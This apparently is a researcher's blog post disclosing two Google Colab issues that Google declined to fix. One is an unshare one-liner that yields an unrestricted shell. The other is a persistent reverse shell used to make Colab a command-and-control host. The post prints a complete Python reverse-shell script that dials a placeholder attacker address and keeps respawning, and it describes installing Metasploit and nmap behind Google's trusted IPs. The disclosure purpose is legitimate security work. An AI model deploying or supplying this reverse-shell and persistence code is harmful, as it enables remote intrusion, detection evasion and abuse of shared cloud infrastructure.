Intro
We recently discovered a significant vulnerability in Google Colab that allows users to bypass the platform’s container sandbox, accessing an unrestricted shell environment without paying for premium access. After reporting this vulnerability, Google responded with a “Won’t Fix” decision, raising concerns about platform security and transparency. In this post, we’ll share details about the vulnerability, its impact, and why Google’s choice to leave it unpatched is problematic.
Details of the Vulnerability
The vulnerability is exploitable with a simple command:
!unshare --mount --uts --ipc --net --pid --fork --user --map-root-user /bin/sh
This is the result:
These commands allow for the creation of a new shell environment, isolated from the main Colab system but free from the usual container restrictions. Here’s how it works:
- Namespace Isolation: By creating separate namespaces for mount, UTS, IPC, network, and PID, this command effectively isolates the new shell from the primary system.
- Unrestricted Shell Environment: Once isolated, this shell permits execution of commands without the platform’s standard restrictions, bypassing the access limitations imposed by Colab’s containerized environment.
The Colab Google offers this features only with Colab Pro that cost 11.28EUR/Month:
Second Bug
Recently, my collaborator Luca and me uncovered a significant vulnerability in Google Colab that enables attackers to use Google’s environment as a Command-and-Control (C2) server. This type of vulnerability allows for persistent, malicious activities under the guise of a trusted Google IP, posing a notable risk to users and the platform. Despite our findings and comprehensive reporting, Google has labeled this vulnerability as “Won’t Fix” and considers it an intended behavior. This post outlines the technical details, impact, and why we believe Google should address this vulnerability.
What we found?
We discovered a method to bypass Google Colab’s runtime mechanism by using a technique based on a zombie process. Normally, Google Colab enforces session limits, automatically terminating processes to prevent them from staying active for too long. However, by leveraging a zombie process, we managed to maintain a persistent reverse shell that remains active even after Colab’s standard session ends.
Here’s how it works in detail:
- Creating a Zombie Process: We initiate a child process that terminates immediately, while the parent process stays alive. This creates a zombie process that “survives” the standard session limits, allowing the parent process to continue running and monitoring the reverse shell. Since Google Colab doesn’t automatically terminate the parent process as long as there’s a zombie child process, this technique allows us to bypass runtime restrictions.
- Persistent Reverse Shell: We set up a reverse shell that establishes a continuous connection to a remote server. This shell, managed by the zombie process, enables us to retain access to the Colab virtual machine even if the browser is closed or the session officially ends. The shell is configured to reconnect immediately if the connection drops, ensuring persistence.
- Using Google’s Trusted IP: Since the activity is executed from a Colab environment, it uses Google’s trusted IP addresses, which are considered reliable by most security systems. This makes it more difficult to detect and block any malicious activity, as it appears to originate from a trusted infrastructure.
- Continuous Persistence: Even if the Colab session is technically closed, the persistent reverse shell remains active. If, for any reason, the shell is terminated, the parent process restarts it immediately. This continuous reconnection loop enables stable, persistent access to the system, effectively bypassing runtime limitations.
In summary, this method allows us to transform the Colab environment into a command and control (C2) server, taking advantage of Google’s IP reputation and ensuring a stable, continuous connection through persistence achieved with the zombie process and automatic shell reconnection.
POC
We started using this script for maintaining access for long time and get reconnect when we want:
import os
import time
import socket
import subprocess
def create_reverse_shell():
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("YOUR-IP", YOUR-PORT))
os.dup2(sock.fileno(), 0)
os.dup2(sock.fileno(), 1)
os.dup2(sock.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
except Exception as e:
print(f"[ERROR] Reverse shell failed: {str(e)}")
def create_zombie_with_reverse_shell():
try:
pid = os.fork()
if pid > 0:
print(f"[INFO] Zombie process created with PID: {pid}")
while True:
time.sleep(5)
print("[INFO] Keeping zombie process alive...")
else:
print("[INFO] Executing reverse shell...")
while True:
create_reverse_shell()
time.sleep(5)
except Exception as e:
print(f"[ERROR] Failed to create zombie process: {e}")
create_zombie_with_reverse_shell()
By using the reverse shell we can build our environment, usually Google Colab runtime destroy your connection after 5 MINUTES because it recognizes malicious activity. We managed to reach 6 hours, but then we closed. Because that is the time needed for a malicious user to perform any kind of attack.
First step
I can’t share the videos but i can choose some pics just for understand the process. In first time we build the environment in 49 minutes, but if you have a personal script you can just run it.
Shell estabilished and installing malicious tools:
Metasploit:
Google IP TRUST and NMAP:
And the final step as i said “we managed to reach 6 hours, but then we closed. Because that is the time needed for a malicious user to perform any kind of attack.”
In short, anyone can use Google Colab to create and customize the environment to their needs and add any tools they want. This setup allows users to leverage Google’s trusted infrastructure for potentially malicious activities.
- 0xJin / Luca di Palma